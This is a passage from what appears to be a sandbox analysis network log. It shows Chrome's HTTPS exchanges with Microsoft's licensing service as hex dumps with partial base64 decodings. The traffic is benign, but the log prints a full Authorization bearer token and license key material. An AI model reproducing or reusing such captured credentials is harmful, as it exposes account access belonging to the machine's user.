Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.36
Content-Length: 4461
Host: licensing.mp.microsoft.com

2022-07-01 09:01:34 UTC 2546 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:34 UTC 2551 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:34 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8559
MS-CorrelationId: 245da574-df21-46fb-8284-ef0dc589c81d
MS-RequestId: 07b35c03-6f85-4238-8f4f-6d10b47ccb13
MS-CV: UznHpAHqV0GMBdER.36.1530940574.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-mmm9r

2022-07-01 09:01:34 UTC 2551 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 64 35 30 38 62 61 30 35 2d 64 38 61 61 2d 32 
38 33 36 2d 34 38 34 64 2d 33 38 33 33 64 32 32 66 65 31 38 35 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"d508ba05-d8aa-2836-484d-3833d22fe185"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:34 UTC 2552 IN Data Raw: 58 4e 7a 64 57 56 6b 52 47 46 30 5a 54 34 79 4d 44 49 79 4c 54 41 33 4c 54 41 78 56 44 41 35 4f 6a 41 78 4f 
6a 4d 30 4c 6a 67 79 4d 7a 49 31 4d 7a 46 61 50 43 39 4a 63 33 4e 31 5a 57 52 45 59 58 52 6c 50 6a 78 4d 59 58 4e 30 
56 58 42 6b 59 58 52 6c 52 47 46 30 5a 54 34 79 4d 44 49 79 4c 54 41 33 4c 54 41 78 56 44 41 35 4f 6a 41 78 4f 6a 4d 
30 4c 6a 67 79 4d 6a 59 79 4e 7a 4a 61 50 43 39 4d 59 58 4e 30 56 58 42 6b 59 58 52 6c 52 47 46 30 5a 54 34 38 51 6d 
56 6e 61 57 35 45 59 58 52 6c 50 6a 49 77 4d 6a 49 74 4d 44 63 74 4d 44 46 55 4d 44 6b 36 4d 44 45 36 4d 7a 51 75 4f 
44 49 79 4e 6a 49 31 4e 46 6f 38 4c 30 4a 6c 5a 32 6c 75 52 47 46 30 5a 54 34 38 4c 30 78 70 59 32 56 75 63 32 56 4a 
62 6d 5a 76 50 6a 78 44 64 58 4e 30 62 32 31 51 62 32 78 70 59 32 6c 6c 
Data Ascii: XNzdWVkRGF0ZT4yMDIyLTA3LTAxVDA5OjAxOjM0LjgyMzI1MzFaPC9Jc3N1ZWREYXRlPjxMYXN0VXB
kYXRlRGF0ZT4yMDIyLTA3LTAxVDA5OjAxOjM0LjgyMjYyNzJaPC9MYXN0VXBkYXRlRGF0ZT48QmVnaW5EYXRlPjIwM
jItMDctMDFUMDk6MDE6MzQuODIyNjI1NFo8L0JlZ2luRGF0ZT48L0xpY2Vuc2VJbmZvPjxDdXN0b21Qb2xpY2ll

2022-07-01 09:01:34 UTC 2553 IN Data Raw: 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 54 41 76 
65 47 31 73 4c 57 56 34 59 79 31 6a 4d 54 52 75 49 79 49 67 4c 7a 34 38 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 54 57 56 
30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 3
5 76 63 6d 63 76 4d 6a 41 77 4d 53 38 77 4e 43 39 34 62 57 78 6b 63 32 6c 6e 4c 57 31 76 63 6d 55 6a 63 6e 4e 68 4c 
58 4e 6f 59 54 49 31 4e 69 49 67 4c 7a 34 38 55 6d 56 6d 5a 58 4a 6c 62 6d 4e 6c 49 46 56 53 53 54 30 69 49 6a 34 38 
56 48 4a 68 62 6e 4e 6d 62 33 4a 74 63 7a 34 38 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 49 45 46 73 5a 32 39 79 61 58 52 
6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 
Data Ascii: mh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMTRuIyIgLz48U2lnbmF0dXJlTWV0aG9
kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIgLz48U
mVmZXJlbmNlIFVSST0iIj48VHJhbnNmb3Jtcz48VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5v

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:34 UTC 2554 IN Data Raw: 7a 30 39 50 43 39 54 61 57 64 75 59 58 52 31 63 6d 56 57 59 57 78 31 5a 54 34 38 53 32 56 35 53 57 35 6d 
62 79 42 4a 5a 44 30 69 58 7a 42 6d 4f 44 46 69 4d 6a 52 6d 4c 57 4a 6a 4e 44 41 74 4d 6a 63 78 4d 69 30 77 5a 44 56 
6b 4c 57 55 33 59 7a 45 77 4d 44 67 31 59 7a 4d 7a 4d 43 49 2b 50 45 74 6c 65 56 5a 68 62 48 56 6c 50 6a 78 53 55 30 
46 4c 5a 58 6c 57 59 57 78 31 5a 54 34 38 54 57 39 6b 64 57 78 31 63 7a 35 76 56 6c 4e 4b 57 45 6c 30 52 48 4e 68 51 
55 6c 6d 64 33 6c 53 4f 57 4a 6f 61 43 39 61 55 33 42 77 51 30 46 50 4b 32 6c 75 4f 56 42 50 54 46 64 6b 51 7a 49 76 56 
46 46 76 5a 47 64 6c 53 46 70 36 59 6d 52 43 64 6e 68 4b 64 6b 74 6f 63 47 4a 79 63 54 5a 61 55 44 42 47 63 31 4e 46 
62 45 78 33 55 6d 39 4d 51 57 31 32 4e 33 70 4a 64 56 5a 33 4d 31 5a 69 
Data Ascii: z09PC9TaWduYXR1cmVWYWx1ZT48S2V5SW5mbyBJZD0iXzBmODFiMjRmLWJjNDAtMjcxMi0wZDVkLWU
3YzEwMDg1YzMzMCI+PEtleVZhbHVlPjxSU0FLZXlWYWx1ZT48TW9kdWx1cz5vVlNKWEl0RHNhQUlmd3lSOWJoaC9aU
3BwQ0FPK2luOVBPTFdkQzIvVFFvZGdlSFp6YmRCdnhKdktocGJycTZaUDBGc1NFbEx3Um9MQW12N3pJdVZ3M1Zi

2022-07-01 09:01:34 UTC 2555 IN Data Raw: 32 34 39 49 6a 55 69 49 48 68 74 62 47 35 7a 50 53 4a 31 63 6d 34 36 63 32 4e 6f 5a 57 31 68 63 79 31 74 
61 57 4e 79 62 33 4e 76 5a 6e 51 74 59 32 39 74 4f 6e 64 70 62 6d 52 76 64 33 4d 36 63 33 52 76 63 6d 55 36 62 47 6c 
6a 5a 57 35 7a 61 57 35 6e 4f 6d 78 7a 49 6a 34 38 51 6d 6c 75 5a 47 6c 75 5a 79 42 43 61 57 35 6b 61 57 35 6e 58 31 
52 35 63 47 55 39 49 6b 31 68 59 32 68 70 62 6d 55 69 50 6a 78 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 7a 64 47 46 75 59 
32 56 4a 52 44 35 69 4e 57 49 79 4f 57 45 33 4e 43 30 32 4e 6d 56 68 4c 54 52 69 4f 57 59 74 59 54 52 6c 5a 53 31 6a 
59 32 4d 78 4e 47 4a 6d 4e 44 4d 31 59 6d 51 38 4c 30 78 70 59 32 56 75 63 32 56 4a 62 6e 4e 30 59 57 35 6a 5a 55 6c 
45 50 6a 78 53 5a 58 46 31 5a 58 4e 30 62 33 4a 4a 52 44 34 79 59 7a 4e 6d 
Data Ascii: 249IjUiIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOndpbmRvd3M6c3RvcmU6bGljZW5
zaW5nOmxzIj48QmluZGluZyBCaW5kaW5nX1R5cGU9Ik1hY2hpbmUiPjxMaWNlbnNlSW5zdGFuY2VJRD5iNWIyOWE3N
C02NmVhLTRiOWYtYTRlZS1jY2MxNGJmNDM1YmQ8L0xpY2Vuc2VJbnN0YW5jZUlEPjxSZXF1ZXN0b3JJRD4yYzNm

2022-07-01 09:01:34 UTC 2556 IN Data Raw: 7a 4a 57 53 6d 4a 75 54 6a 42 5a 56 7a 56 71 57 6c 56 73 61 31 42 58 53 54 46 5a 61 6b 6b 31 57 56 52 6a 
4d 45 78 55 57 54 4a 61 56 30 56 30 54 6b 64 4a 4e 56 70 70 4d 57 68 4f 52 31 5a 73 54 46 64 4f 61 6c 6c 36 52 54 42 
5a 62 56 6b 77 54 58 70 57 61 56 70 44 57 6e 64 69 4d 6e 68 77 57 54 4e 73 56 57 56 59 51 6d 78 51 56 54 6c 74 57 6d 
31 34 63 47 4a 74 56 57 31 6a 53 45 70 32 57 6b 68 57 61 6d 52 46 62 47 74 51 56 47 78 50 55 57 74 34 53 46 49 77 5a 
7a 46 56 52 54 56 44 54 56 4e 61 65 56 70 59 52 6a 46 61 57 45 34 77 59 6a 4e 4b 53 6c 70 45 4d 48 6c 5a 65 6b 35 74 
54 56 64 52 4d 45 35 35 4d 44 42 4e 61 6c 70 72 54 46 64 4e 4d 31 70 45 59 33 52 61 62 55 5a 71 57 6c 4d 78 62 46 70 
71 52 6d 68 61 52 31 46 35 54 55 52 6e 4e 45 31 55 5a 32 31 6a 4d 6e 51 78 
Data Ascii: zJWSmJuTjBZVzVqWlVsa1BXSTFZakk1WVRjMExUWTJaV0V0TkdJNVppMWhOR1ZsTFdOall6RTBZbVk
wTXpWaVpDWndiMnhwWTNsVWVYQmxQVTltWm14cGJtVW1jSEp2WkhWamRFbGtQVGxPUWt4SFIwZzFVRTV
DTVNaeVpYRjFaWE4wYjNKSlpEMHlZek5tTVdRME55MDBNalprTFdNM1pEY3RabUZqWlMxbFpqRmhaR1F
5TURnNE1UZ21jMnQx

2022-07-01 09:01:34 UTC 2557 IN Data Raw: 47 39 73 61 57 4e 70 5a 58 4d 2b 50 46 4e 51 54 47 6c 6a 5a 57 35 7a 5a 55 4a 73 62 32 4e 72 50 6b 5a 42 
51 55 46 42 53 7a 52 42 51 55 46 45 53 6b 46 42 51 55 46 44 5a 30 46 42 51 55 46 56 51 55 46 6e 52 48 5a 30 4e 7a 56 
70 55 55 46 45 54 45 46 42 51 55 46 46 51 55 46 42 51 55 31 50 61 48 67 33 64 6b 64 53 54 46 6c 75 53 47 68 61 53 57 
56 72 59 32 31 51 65 6a 64 50 51 55 46 42 51 56 4a 6e 51 55 46 42 52 7a 42 42 59 56 46 43 61 6b 46 49 53 55 46 69 64 
30 4a 36 51 55 63 34 51 56 70 6e 51 6a 42 42 51 7a 52 42 59 6e 64 43 64 55 46 48 56 55 46 5a 64 30 4a 32 51 55 63 30 
51 57 4a 6e 51 6d 78 42 52 30 31 42 5a 45 46 43 5a 6b 46 45 5a 30 46 6b 64 30 4a 73 51 55 64 7a 51 57 56 52 51 6d 6c 
42 52 45 31 42 57 6b 46 42 4e 45 46 48 53 55 46 5a 5a 30 49 7a 51 55 64 56 
Data Ascii: G9saWNpZXM+PFNQTGljZW5zZUJsb2NrPkZBQUFBSzRBQUFESkFBQUFDZ0FBQUFVQUFnR
HZ0NzVpUUFETEFBQUFFQUFBQU1PaHg3dkdSTFluSGhaSWVrY21QejdPQUFBQVJnQUFBRzBBYVFCakFIS
UFid0J6QUc4QVpnQjBBQzRBYndCdUFHVUFZd0J2QUc0QWJnQmxBR01BZEFCZkFEZ0Fkd0JsQUdzQWVRQ
mlBRE1BWkFBNEFHSUFZZ0IzQUdV

2022-07-01 09:01:34 UTC 2558 IN Data Raw: 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 7a 41 30 4c 33 68 74 62 47 56 75 59 79 4e 7a 61 47 45 79 
4e 54 59 69 49 43 38 2b 50 45 52 70 5a 32 56 7a 64 46 5a 68 62 48 56 6c 50 6d 68 45 56 33 6c 69 61 6b 6f 34 55 58 68 
79 4d 31 4d 31 4c 30 52 77 61 30 64 45 59 56 70 54 61 32 74 4b 54 6e 70 55 65 44 42 6b 4e 7a 5a 55 51 55 56 6c 4d 32 
68 74 52 6b 55 39 50 43 39 45 61 57 64 6c 63 33 52 57 59 57 78 31 5a 54 34 38 4c 31 4a 6c 5a 6d 56 79 5a 57 35 6a 5a 
54 34 38 4c 31 4e 70 5a 32 35 6c 5a 45 6c 75 5a 6d 38 2b 50 46 4e 70 5a 32 35 68 64 48 56 79 5a 56 5a 68 62 48 56 6c 
50 6b 52 78 59 33 64 7a 65 54 4e 79 56 6d 64 36 4c 33 4e 46 56 58 68 31 52 32 78 51 54 31 56 57 54 33 5a 6d 62 54 64 
30 61 55 5a 77 54 58 68 49 54 6c 64 74 54 6e 4e 4b 57 48 6c 54 61 6c 6f 32 
Data Ascii: nczLm9yZy8yMDAxLzA0L3htbGVuYyNzaGEyNTYiIC8+PERpZ2VzdFZhbHVlPmhEV3liako4UXhyM1M
1L0Rwa0dEYVpTa2tKTnpUeDBkNzZUQUVlM2htRkU9PC9EaWdlc3RWYWx1ZT48L1JlZmVyZW5jZT48L1NpZ25lZEluZ
m8+PFNpZ25hdHVyZVZhbHVlPkRxY3dzeTNyVmd6L3NFVXh1R2xQT1VWT3ZmbTd0aUZwTXhITldtTnNKWHlTalo2

2022-07-01 09:01:34 UTC 2559 IN Data Raw: 30 4d 30 4c 32 52 6f 52 57 49 33 53 6c 70 47 56 57 74 6a 4d 45 31 53 61 48 4d 76 54 54 4e 57 5a 54 55 78 4d 
55 68 52 5a 6b 74 31 52 79 73 35 4d 6d 63 78 54 32 5a 6d 53 6d 52 53 63 30 46 51 65 6c 64 53 5a 48 4e 72 55 47 39 4f 
4d 7a 56 72 62 6d 35 78 62 6d 38 33 52 6a 67 31 54 30 4a 74 52 31 59 76 54 45 35 43 5a 32 52 30 52 46 64 56 53 44 5a 
6b 61 54 46 6c 56 55 4e 52 52 6d 56 4c 52 32 5a 4e 63 43 74 52 4c 30 78 47 56 56 67 35 61 6d 46 33 56 46 52 46 55 47 
34 33 4d 6e 52 5a 59 6e 42 5a 51 56 4e 31 5a 7a 41 31 55 32 74 6a 5a 7a 5a 4c 56 45 68 73 59 30 78 48 65 6d 56 32 65 
45 64 33 4e 30 4a 5a 63 30 39 7a 63 57 5a 45 61 32 45 31 62 6a 42 5a 52 33 63 39 50 54 77 76 54 57 39 6b 64 57 78 31 
63 7a 34 38 52 58 68 77 62 32 35 6c 62 6e 51 2b 51 55 46 46 51 55 46 52 
Data Ascii: 0M0L2RoRWI3SlpGVWtjME1SaHMvTTNWZTUxMUhRZkt1Rys5MmcxT2ZmSmRSc0FQeldSZHNrUG9OMzV
rbm5xbm83Rjg1T0JtR1YvTE5CZ2R0RFdVSDZkaTFlVUNRRmVLR2ZNcCtRL0xGVVg5amF3VFRFUG43MnR
ZYnBZQVN1ZzA1U2tjZzZLVEhsY0xHemV2eEd3N0JZc09zcWZEa2E1bjBZR3c9PTwvTW9kdWx1cz48RXhwb25lbnQ+Q
UFFQUFR

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

154 192.168.2.5 49921 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:35 UTC 2559 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.37
Content-Length: 4293
Host: licensing.mp.microsoft.com

2022-07-01 09:01:35 UTC 2561 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:35 UTC 2565 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:34 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 7977
MS-CorrelationId: 9723ee06-c586-4be1-84d6-f589d842a2c5
MS-RequestId: 6bdb599e-1766-4a61-abf0-d7361060befd
MS-CV: UznHpAHqV0GMBdER.37.1530940612.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-82j6j

2022-07-01 09:01:35 UTC 2566 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 65 32 61 36 38 36 62 31 2d 62 30 32 61 2d 62 
33 65 37 2d 39 30 63 62 2d 33 66 61 30 64 37 30 38 63 65 30 34 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"e2a686b1-b02a-b3e7-90cb-3fa0d708ce04"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:35 UTC 2567 IN Data Raw: 56 51 77 4d 44 6f 79 4e 44 6f 77 4d 53 34 35 4f 44 59 77 4d 7a 59 34 57 6a 77 76 51 6d 56 6e 61 57 35 45 59 
58 52 6c 50 6a 77 76 54 47 6c 6a 5a 57 35 7a 5a 55 6c 75 5a 6d 38 2b 50 45 4e 31 63 33 52 76 62 56 42 76 62 47 6c 6a 
61 57 56 7a 50 6d 56 35 53 6e 4e 61 56 32 52 6f 57 54 4e 73 55 57 4e 74 4f 57 74 6b 56 30 34 77 55 31 64 52 61 55 39 
70 53 6d 70 61 52 46 5a 72 54 6c 52 4f 61 55 31 54 4d 48 70 4e 4d 6c 6b 7a 54 46 52 53 61 45 39 55 56 58 52 5a 61 6b 5
6 34 54 56 4d 78 62 55 35 55 52 6d 31 4e 56 47 63 7a 57 58 70 6a 65 45 31 36 51 57 6c 6d 55 54 30 39 50 43 39 44 64 
58 4e 30 62 32 31 51 62 32 78 70 59 32 6c 6c 63 7a 34 38 55 31 42 4d 61 57 4e 6c 62 6e 4e 6c 51 6d 78 76 59 32 73 2b 
52 6b 46 42 51 55 46 4d 55 55 46 42 51 55 52 4b 51 55 46 42 51 55 4e 6e 
Data Ascii: VQwMDoyNDowMS45ODYwMzY4WjwvQmVnaW5EYXRlPjwvTGljZW5zZUluZm8+PEN1c3RvbVBvbGljaWV
zPmV5SnNaV2RoWTNsUWNtOWtkV04wU1dRaU9pSmpaRFZrTlROaU1TMHpNMlkzTFRSaE9UVXRZakV4TVM
xbU5URm1NVGczWXpjeE16QWlmUT09PC9DdXN0b21Qb2xpY2llcz48U1BMaWNlbnNlQmxvY2s+RkFBQUF
MUUFBQURKQUFBQUNn

